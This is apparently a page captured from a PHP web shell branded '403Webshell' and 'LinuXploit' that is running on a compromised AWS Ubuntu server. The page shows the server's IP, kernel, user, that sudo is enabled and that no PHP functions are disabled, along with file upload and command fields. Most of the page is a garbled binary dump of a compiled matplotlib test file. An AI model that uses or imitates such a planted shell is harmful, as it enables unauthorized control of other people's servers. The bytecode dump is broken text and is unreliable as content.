403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_lines.cpython-312.pyc
�

G8�c�/���dZddlZddlZddlmZddlmZddlZddlm	Z	ddl
Z
ddlZddlZddl
mZddlmZddlmZddlmZddlmZddlmZmZd	�Ze
j<j?d
��d��Z d
�Z!edgd��d��Z"d�Z#d�Z$d�Z%d�Z&edgd��d��Z'ed��d��Z(d�Z)d�Z*edgdd��d ��Z+ed!gd��d"��Z,d#�Z-ed$gd%�&�d'��Z.d(�Z/e�d)��Z0e
j<jcd*d+d,g�ed��d-���Z2d.�Z3d/�Z4ed0gdd��d1��Z5e�d2��Z6d3�Z7e�d4��Z8ed5g��d6��Z9y)7z%
Tests specific to the lines module.
�N)�SimpleNamespace)�cycler)�assert_array_equal)�MarkerStyle)�Path)�image_comparison�check_figures_equalc	��d\}}tjddg�tjddg�}}d}ttj|||||�dg�y)zTest a problematic case.)i)i�gH�@g�W@g��@g�(\��@rN)�np�arrayr�mlines�segment_hits)�cx�cy�x�y�radiuss     �=/usr/lib/python3/dist-packages/matplotlib/tests/test_lines.py�test_segment_hitsrsR��
�F�B��
�8�8�T�4�L�!�2�8�8�S�$�K�#8�q�A�
�F��v�*�*�2�r�1�a��@�1�#�F��)�rerunsc�&�d}tjdd|�}tjj|��}t	j
�}t	j�}tj||�}|jd�ttj|jjdd���}|j|�ttj|jjdd���}||z}d}	||	ksJ�y	)
ac
    GitHub issue #1256 identified a bug in Line.draw method

    Despite visibility attribute set to False, the draw method was not
    returning early enough and some pre-rendering code was executed
    though not necessary.

    Consequence was an excessive draw time for invisible Line instances
    holding a large number of points (Npts> 10**6)
    i���r���sizeFr)�number�repeat�N)r�linspace�random�normal�plt�figure�subplotr
�Line2D�set_visible�min�timeitr�canvas�draw�add_line)
�Nrr�fig�ax�l�	t_no_line�t_invisible_line�slowdown_factor�slowdown_thresholds
          r�test_invisible_Line_renderingr5"s���	�A�
���A�q�!��A�
�	�	���a�� �A��*�*�,�C�	����B�	�
�
�a���A��M�M�%��
�F�M�M�#�*�*�/�/�!�A�F�G�I��K�K��N��6�=�=�������1�M�N��'��2�O����/�/�/�/rc���tj�\}}tjj	d�|jtjj
dd�dg��y�Nr���r)rr)�
linestyles�r#�subplotsrr!�seed�contour�randn�r.r/s  r�test_set_line_coll_dashrBNsD���l�l�n�G�C���I�I�N�N�1���J�J�r�y�y���r�2�&�K�=�J�Ar�line_dashesT)�remove_textc�l�tj�\}}|jtd�dd��y)N�
r:���	linestyle�lw)r#r=�plot�rangerAs  r�test_line_dashesrMVs'���l�l�n�G�C���G�G�E�"�I���G�3rc�~�tj�\}}|jtd�d��|jtd�d��|jtd�d��|jtd�d��|jtd�d��|jj�y)NrF�none)�color�rz.3)rrrr)rrr�r#r=rKrLr*r+rAs  r�test_line_colorsrS]s����l�l�n�G�C���G�G�E�"�I�V�G�$��G�G�E�"�I�S�G�!��G�G�E�"�I�T�G�"��G�G�E�"�I�\�G�*��G�G�E�"�I�Y�G�'��J�J�O�O�rc��tjgg�}tjt�5|jd�ddd�y#1swYyxYw�N�foobar)r
r&�pytest�raises�
ValueError�	set_color��lines r�test_valid_colorsr]gs?���=�=��R� �D�	���z�	"�!����x� �!�!�!���A�Ac���tj�\}}ddddddddd	d
dgffD]}|jtd�|�
�� |jj�y)N�-�solid�--�dashedz-.�dashdot�:�dotted)rN)r�rrF)rIrR)r.r/�lss   r�test_linestyle_variantsrimse���l�l�n�G�C���G�T�8��Y��X��'�A�r�7��)��	����b�	�R��(�	)�
�J�J�O�O�rc��tjgg�}tjt�5|jd�ddd�y#1swYyxYw)N�aardvark)r
r&rWrXrY�
set_linestyler[s r�test_valid_linestylesrmwsA���=�=��R� �D�	���z�	"�'����:�&�'�'�'�r^zdrawstyle_variants.pngc���tjd�\}}gd�}t|j|�D]4\}}|j	td�|��|j
dd���6y)N�)�defaultz	steps-mid�	steps-prez
steps-post�stepsN����	drawstyle)rr)�xlim�ylim)r#r=�zip�flatrKrL�set)r.�axs�dssr/�dss     r�test_drawstyle_variantsr~}s\���|�|�A��H�C��
L�C�
�c�h�h��$�)���B�
����d��r��*�
���F���(�)r)�png)�
extensionsc�"�|j�}tjd�}|j|dz|�|j�}t	j
�j
dd�}|j||||jz��y)Nrsg@�@�)�	transform)�add_subplotr�arangerK�mtransforms�Affine2D�	translate�	transData)�fig_ref�fig_testr/r�ts     r�test_no_subslice_with_transformr��sr��	�	�	�	�B�
�	�	�$��A��G�G�A��H�a��	�	�	�	�B�����(�(���5�A��G�G�A�q�A�b�l�l�N�G�+rc��tjgg�}tjt�5|jd�ddd�y#1swYyxYwrU)r
r&rWrXrY�
set_drawstyler[s r�test_valid_drawstylesr��sA���=�=��R� �D�	���z�	"�%����8�$�%�%�%�r^c���tjddtjzd�}tj|�}t	j
�\}}|j
||�\}|jd�t|j�j�dt|�zdz
k(sJ�|jd�t|j�j�t|�k(sJ�y)NrrrFrqrrp)rr �pi�sinr#r=rKr��len�get_path�vertices)rrr.r/r\s     r�test_set_drawstyler��s���
���A�q����w��#�A�
���q�	�A��l�l�n�G�C���G�G�A�q�M�E�D����{�#��t�}�}��'�'�(�A�c�!�f�H�Q�J�6�6�6����y�!��t�}�}��'�'�(�C��F�2�2�2r�line_collection_dashes�mpl20)rD�stylec���tj�\}}tjj	d�|jtjj
dd�dg��yr7r<rAs  r�test_set_line_coll_dash_imager��sB���l�l�n�G�C���I�I�N�N�1���J�J�r�y�y���r�2�&�K�=�J�Arzmarker_fill_styles.pngc�b�tjgd�dddddtjgd��g�}d}tjd	d	g�}tjd
dg�}t	j
�\}}t
tjj�D]i\}}t
tjj�D]>\}}	t|�}
|j|dz|z||zd
|dzzz|d||	|	d|
|
d���@�k|jd
dg�|jddg�y)N�rrr�gz#ff0000�c�mr)rrr�
lightgreenrr�	rF��?rr8rG)	�marker�
markersize�markerfacecoloralt�	fillstyle�label�	linewidthrP�markeredgecolor�markeredgewidthg@����)�	itertools�cyclerrr#r=�	enumerater
r&�filled_markers�
fillStyles�nextrK�set_ylim�set_xlim)�colors�altcolorrrr.r/�jr��i�fsrPs           r�test_marker_fill_stylesr��s��
�_�_�i��i��c�3� �h�h�y�1�3�4�F��H�
���!�Q���A�
���!�Q���A��l�l�n�G�C���v�}�}�;�;�<�'�	��6��v�}�}�7�7�8�	'�E�A�r���L�E��G�G�A��F�Q�J��A���a�!�e�� 4�!�!�'/� ����$)�$%�
�	
'�	'�'��K�K��C����K�K��S�	�rc��tjgd�tdd��d��\}|j�dk(sJ�|j	�dk(sJ�y)z=Test that markerfacecolor does not override fillstyle='none'.�rrr�orO)r��red)r��markerfacecolorN)r#rKr�
get_fillstyle�get_markerfacecolor)r0s r�test_markerfacecolor_fillstyler��sL��	���)�K��v�$F�"'�
)�B�A��?�?���&�&�&�� � �"�f�,�,�,r�scaled_linesrp)r�c	�|�tjdd�}tj�\}}gd�}t	t
jd�}tt||��D]W\}\}}tjddd�D]5}|j||tjd�zd|zzf||d	�|���7�Yy)
Nr� )rcrfrd�axes.prop_cycler�rF�2皙�����?rH)rr r#r=r�
matplotlib�rcParamsr�rxrK�ones)	�thr.r/�lins_stylesrr�rh�styrJs	         r�test_lw_scalingr��s���	���Q��	�B��l�l�n�G�C��1�K�	�
�#�#�$5�6�	7�B�!�#�k�2�"6�7�M���9�B���+�+�b�"�b�)�	M�B��B�G�G�B��"�'�'�"�+�
��R��/�L�2�"�L��L�	M�Mrc�L�tjgg�}|jtjgd���sJ�|jtjdtj
dg��sJ�|jddgtj
gdzzddgz�rJ�y)N�rrrrrrG�drr)r
r&�
_is_sortedrr�nanr[s r�test_nan_is_sortedr��s����=�=��R� �D��?�?�2�8�8�I�.�/�/�/��?�?�2�8�8�Q�����N�3�4�4�4�����1�v�����3��6�!�Q��?�@�@�@�@rc��|j�jddgd�|j�jgd�gd�dddg��y)Nrrz-or�)rrrr��	markevery)r=�steprK�r�r�s  r�test_step_markersr��sC��������a��V�T�*�������I�y�$�1�a�&��Ir�parentr$�axesc������tjjd�tjddd�}tjj	t|��}dddgd�ddgt
d	d
d�tjt|��|dkDd
dg	}gd�}|dk(r|dd}|dd}�fd�}�fd�}nY|dk(rTt�jdd�j��t�jdd�j���fd�}�fd�}|D]
}	|||	���|D]Q}	tjt|	��jt�jt�}
|||
���Sy)N�*rr��)rrG)rrG����rGrFrr��333333�?)r�g�������?)	�11111111111111�10001000100010�00100001000010�01000100000100�10000000000001�00000101010000�01110001110110�11011011011110�01010011011101r$���c�V���jtj||d|���y�Nr��r�r���
add_artistr
r&)rrr�r�s   �r�add_testz test_markevery.<locals>.add_test�s$�������
�
�a��3�)�D�
Frc�V���jtj||d|���yr�r�)rrr�r�s   �r�add_refztest_markevery.<locals>.add_refs$�������
�
�a��3�)�D�
Frr�rc�B��t��j||d|��y�Nz-gDr��r�rK)rrr��axs_tests   �rr�z test_markevery.<locals>.add_tests�����N����1�e�y��Arc�B��t��j||d|��yr�r�)rrr��axs_refs   �rr�ztest_markevery.<locals>.add_refs�����M���q�!�U�i��@rr�)rr!r>r �randr��slicer��iterr=ryr�list�astype�int�bool)
r�r�r�rr�
cases_test�	cases_refr�r��case�mer�r�s
``         @@r�test_markeveryr
�sb����I�I�N�N�2��
���A�q�"��A�
�	�	���s�1�v��A���6�:��b�'�5��B��?��)�)�C��F�#�A��G�,��z�#�J�G�I�������_�
��c�r�N�	�	F�	F�
�6�	���)�)�!�Q�/�4�4�5���w�'�'��1�-�2�2�3��	B�	A��'����A��&�'��$��
�X�X�d�4�j�
!�
(�
(��
-�
4�
4�T�
:����1��#�$rc��tj�}|jtjddgddgdd���tjt�5|jj�ddd�y#1swYyxYw)Nrrr�r�r�)
r#r$r�r
r&rWrXrYr*r+)r.s r�.test_markevery_figure_line_unsupported_relsizers_��

�*�*�,�C��N�N�6�=�=�!�Q��!�Q���r�J�K�	���z�	"���
�
�������s�A>�>Bc���tj�\}}|jgd�td���\}|jj�|j
�dk(sJ�|jd�|jj�|jtd��|jj�tjddgddgdd	gg�}|jgd
�t|�d��\}|jgd
�|d��\}t|j
�j|j�t|j
�j|j�y)N)rr�r�D)r��sr�r�rrrr��)r��ms)rrr)r#r=rKrr*r+�
get_marker�
set_markerr�_create_closedrr�)r.r/r\�	triangle1�line2�line3s      r�test_marker_as_markerstyler s���l�l�n�G�C���G�G�I�k�#�&6�G�7�E�D��J�J�O�O���?�?���#�#�#�	�O�O�C���J�J�O�O���O�O�K��$�%��J�J�O�O���#�#�b�"�X��2�w��A��$?�@�I�
�W�W�Y�{�9�'=�"�W�
E�F�E�
�W�W�Y�y�R�W�
8�F�E��u�'�'�)�2�2�I�4F�4F�G��u�'�'�)�2�2�I�4F�4F�Grzstriped_line.pngc	�2�tjjd�}tj�\}}|j|j
d��ddddd�	�|j|j
d��d
ddddd
��|jd��y)Ni!N,�r�orange�bluerbrG� )rP�gapcolorrIrJr�r��black)r)rrGr�rr�)rPrrIrJr��alpha)�handlelength)rr!�default_rngr#r=rK�uniform�legend)�rng�_r/s   r�test_striped_linesr'4s���
�)�)�
�
��
)�C��L�L�N�E�A�r��G�G�C�K�K�R�K� ��6��q���-��G�G�C�K�K�R�K� ���'�A�S���E��I�I�1�I�rc��|j�jddggd���|j�jddggd���y)Nrrr�)�dashes)rrrrrr)r�rKr�s  r�test_odd_dashesr*?sC���������A��y��9��������1�v�.@��Arc�n�tj�\}}t|jjdz|jj
dzdz��}|j
ddgddgd��\}|j|�\}}|rJ�|j
ddgddgdd�	�\}|j|�\}}|sJ�t|d
dg�|j
ddgddgd��\}|j|�\}}|rJ�|jd�|j|�\}}|sJ�t|d
dg�y)Nr�)rrrrT)�pickerr8)r-�
pickradius�ind)
r#r=r�bbox�width�heightrK�containsr�set_pickradius)r.r/�mouse_event�l0�found�indices�l1�l2s        r�test_pickingr;Es5���l�l�n�G�C��!�C�H�H�N�N�a�$7�$'�H�H�O�O�q�$8�2�$=�?�K�
�'�'�1�a�&�1�a�&��'�
.�C�B��[�[��-�N�E�7���9�
�'�'�1�a�&�1�a�&��"�'�
=�C�B��[�[��-�N�E�7��L�5��w�u�~��s�+�
�'�'�1�a�&�1�a�&��'�
.�C�B��[�[��-�N�E�7���9����b���[�[��-�N�E�7��L�5��w�u�~��s�+rc��tjddd�}|j�j||d�\}t	d�|dd|jd�|j�jgd�gd�dd��y)	Nrrorz.-rrr)rrr�rt)rr�r�rKrLr�)r�r�r�r0s    r�test_input_copyr=_sn��	�	�	�!�Q���A�	�	�	�	�	$�	$�Q��4�	0�B�A���8�A�a�D��O�O�G��������y�)�T�W��Mrrc��dddgd�ddgtddd	�d
ddd
dg}tjd}|tjddt|���}tjdd�}d|dzz}|j
�}t|�D] \}}	|j||z
d|	||���"t||��tjd<|j
�}
t|�D]\}}|
j||z
d��y)z*Test that we can set markevery prop_cycle.N�)r9r?)��r9rr�r���rr�r�g�?)r�r�)g�������?r��jetg�������?g�������?rrGrzo-)r�rPr�)r�mpl�	colormapsrr r�r�r�rKrr�r�)r�r��cases�cmapr�rrr{r�r�r/r&s            r�test_markevery_prop_cyclerHjs���1�g�|�a��W�
�3��Q�
��c�3�
��
&�E��=�=���D�
�"�+�+�c�3��E�
�3�
4�F�
���B���A�	�A�q�D��A�
�
�
�
�C�!�%�(�D���9�����Q���	�����C�D�.4�e�:@�.B�J���)�*�
�	�	�	�B��%� ����1�
����A��t��r):�__doc__r�r)�typesrr�numpyr�
numpy.testingrrWr�rD�matplotlib.lines�linesr
�matplotlib.markersr�matplotlib.pathr�matplotlib.pyplot�pyplotr#�matplotlib.transforms�
transformsr��matplotlib.testing.decoratorsrr	r�mark�flakyr5rBrMrSr]rirmr~r�r�r�r�r�r�r�r�r��parametrizer
rrr'r*r;r=rHrgrr�<module>rYs����
�!���,�
���!�*� ��+�O�G������!���(0��(0�VB��=�/�t�4�4�5�4��!��'��+�,�$�?�	)�@�	)���)�,�*�,�%�
3��+�,�$�g�N�B�O�B��+�,�$�?��@��6-��>�"�)�4�M�5�M�A���J��J�
������H�f�#5�6���)�)$�*�7�)$�X�H�(�%�&�D��H��I����B��B�
,�4��N��N����(��)�r

Youez - 2016 - github.com/yon3zu
LinuXploit